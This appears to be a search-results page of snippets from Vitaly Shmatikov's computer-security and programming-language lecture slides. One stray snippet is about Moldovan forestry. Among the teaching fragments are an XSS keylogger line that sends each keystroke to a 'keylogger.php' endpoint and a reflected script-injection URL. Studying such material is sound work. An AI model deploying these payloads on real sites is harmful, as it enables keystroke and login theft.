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CS 361S Authentication: Passwords and Security Questions Vitaly Shmatikov * * * * * * * Empirical Results Experimental study of 154 computer science students at ...

CS 361S SSL/TLS Vitaly Shmatikov *

... Input Path Problem Users are easily tricked into entering passwords into insecure non-password fields

Title: CS 380S - Theory and Practice of Secure Systems Subject: Privacy-preserving data mining Author: Vitaly Shmatikov Last modified by: Vitaly Shmatikov

CS 361S Overview of Public-Key Cryptography Vitaly Shmatikov *

CS 345 Introduction to Scheme Vitaly Shmatikov * * Reading Assignment Mitchell, Chapter 3 Why Functional Programming Matters (linked from the course ...

CS 361S Anonymity Networks Vitaly Shmatikov * * Privacy on Public Networks Internet is designed as a public network Machines on your LAN may see your ...

... and Tygar (CCS 2005) Compromising Reflections: How to read Computer Monitors around a ... linear classification, Gaussian ... Network Security and ...

Title: CS 380S - Theory and Practice of Secure Systems Subject: Address space layout randomization Author: Vitaly Shmatikov Last modified by: Vitaly Shmatikov

Constraint-Based Methods: Adding Algebraic Properties to Symbolic Models Vitaly Shmatikov SRI International One-Slide Summary Constraint solving is a symbolic ...

... Fundamental SMC primitive A B b0, b1 bi i = 0 or 1 A inputs two bits, B inputs the index of one of A s bits B learns his chosen bit, ...

Title: CS 345 - Programming Languages Subject: Imperative programming Author: Vitaly Shmatikov Last modified by: Vitaly Shmatikov Created Date: 9/7/1997 8:51:32 PM

... feed information to double spies Goal: hide a 1-bit secret * Chosen-Plaintext Security Consider two experiments (A is the attacker) ...

CS 361S SSL/TLS Vitaly Shmatikov * * Will You Notice? [Moxie Marlinspike] Clever favicon inserted by network attacker * * * Reading Assignment Kaufman.

CS 380S Introduction to Zero-Knowledge Vitaly Shmatikov * * Commitment Temporarily hide a value, but ensure that it cannot be changed later Example ...

CS 361S Attacks on TCP/IP, BGP, DNS Denial of Service Vitaly Shmatikov * * * * * * * * Distance-Vector Routing Each node keeps vector with distances to ...

CS 361S Network Security and Privacy Vitaly Shmatikov http://www.cs.utexas.edu/~shmat/courses/cs361s/ * * Course Personnel Instructor: Vitaly Shmatikov ...

CS 378 Phishing Vitaly Shmatikov * * Site Defense #1: PassMark / SiteKey If you don t recognize your personalized SiteKey, don t enter your Passcode ...

... inputs that come from ... this makes things difficult How do we ... treats all files as tainted Global arrays sanitized inside functions Pixy doesn t ...

... (new Image()).src= keylogger.php?key= + String.fromCharCode( event.keyCode ); event.keyCode = 183; Sends ...

CS 345 Buffer Overflow and Stack Smashing Vitaly Shmatikov * * * Reading Assignment Smashing the Stack for Fun and Profit by Aleph One Linked from ...

Address attestation ... Route attestation ... AS1. update. I have a great route to H: AS4 - AS1 - H. I attest that AS4 is authorized ...

... buffer overflow A setuid program spawns a shell with certain arguments A network packet has lots ... analysis of source code ... network traffic ...

Title: CS 380S - Theory and Practice of Secure Systems Subject: UNIX security: setuid and chroot. Static security analysis with MOPS. Author: Vitaly Shmatikov

CS 345 Potted History of Programming Languages Vitaly Shmatikov * * C++ Bell Labs 1979 (Bjarne Stroustrup) C with Classes (C++ since 1983 ...

Requires high level of physical security ... need to send the password each time to obtain the ticket for any network service Separate authentication for email, ...

Title: CS 380S - Theory and Practice of Secure Systems Subject: Yao's protocol Author: Vitaly Shmatikov Last modified by: Vitaly Shmatikov Created Date

Appending the empty list to any list X returns X ... X is a prefix of Z if there is a list Y that can be appended to X to make Z ...

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Title: CS 345 - Programming Languages Subject: Introduction Author: Vitaly Shmatikov Last modified by: Vitaly Shmatikov Created Date: 9/7/1997 8:51:32 PM

Projects involve a fair bit of C coding and PHP hacking. Can be done in teams of 2 students ... Practical how-to manual for hacking attacks ...

... source code (which deliberately contains some useless junk) and recompile itself ... Virus changes junk in its source and recompiles itself ...

... Alan Perlis ... data structures Semantics What do programs mean and are they correct * Core Features vs. Syntactic Sugar What is the core high-level ...

Simply send datagram to application process at the specified port of the IP address ... Unpatched versions of wu-ftpd, statd, amd, ...

Distrust in Private Forests Main Gap in Sustainable Forest Management of Moldova ... pastures or another area, and after the canopy will be created to return back to ...

All traffic flows through bastion host ... Single-Homed Bastion Host. If packet filter is compromised, ... Dual-Homed Bastion Host. No physical connection ...

Key must be a random bit sequence as long as message. Idea: replace 'random' with 'pseudo-random' ... To use RC4, usually prepend initialization vector (IV) to the key ...

notifyAll() wakes up all waiting threads. Threads non-deterministically compete for access to object. May not be fair (low-priority threads may never get access) ...

http://www.facebook.com/home.php. X-Requested-By: XMLHttpRequest. 23 ... Does not defend against login XSRF. Parses HTML and appends token to hyperlinks ...

... reference monitor into program code during compilation or via binary ... But if OS is compromised, malicious code can abuse TLB to make itself invisible ...

Version Check in SSL 3.0. C. Versions=3.0, suites, Ns, sigca(S,PKs) ... Check that received version is equal to the version in ClientHello. switch to key derived ...

Office hours: Tuesday, 3:30-4:30pm (after class) Open door policy don't ... Harper. 'Programming in Standard ML' All of these are available for free online ...

MySpace. The website 'insightexpressai.com' has requested to save a file on your ... POST /login.cgi. Set-Cookie:authenticator. GET /restricted.html. Cookie: ...

Inspiration to many later designers. In particular, Smalltalk and C . 5. Brief History ... Designers: Dahl, Myhrhaug, Nygaard ...

Started on 'samy' MySpace page ... Social sites (e.g., MySpace), blogs, forums, wikis ... http://cnn.com/login?URI=' script AttackScript /script ...

Given: both parties already know the same secret. How is this achieved in practice? ... If A 'knows' secret bit, he should be able to make his output depend on ...

... global macro file and makes itself auto-executing (e.g., gets invoked whenever ... Can be detected by emulation because the rebuilt body has a constant instruction ...

SRI International. Constraint-Based Methods: Adding Algebraic Properties to. Symbolic Models ... Can read any message, decompose it into parts and re-assemble ...

Single Sign-On Systems. 11. Authenticate Once, Use ... hotmail.com, 'kiwifruit' Identity Management with Passport. User. Website .NET. Passport. Log in ...

Server can decrypt ticket and verify information. User does not learn server's key ... Password dictionary attacks on client master keys. Replay of authenticators ...

To compute a signature, must know the private key ... In a valid signature, gk mod p mod q = r, gx mod p = y. Verify gH(M) w yr w = r mod p mod q ...

If gq=1 for some q 0, then g is a generator of Zq, an order-q subgroup of Zp* 5 ... Random secret a from Zq. h=ga mod p. Values p,q,g,h are public, a is secret ...

'Phishing and key-logging Trojans cost UK banks 12m' ... Modify router's firmware with malicious DNS settings [Stamm et al.] 19 ...

'A Note on the Confinement Problem' (CACM ... Classic method for preventing 'bad things' from happening. Principal makes a request to access a resource (object) ...

In C, can define a function with a variable number of arguments ... with the address of shellcode because 3 bits are clobbered by type information ...

TLS for Web, S/MIME for email, SSH for remote login ... Now responder needs to keep state ('cookie crumb') Vulnerable to denial of service (why? ...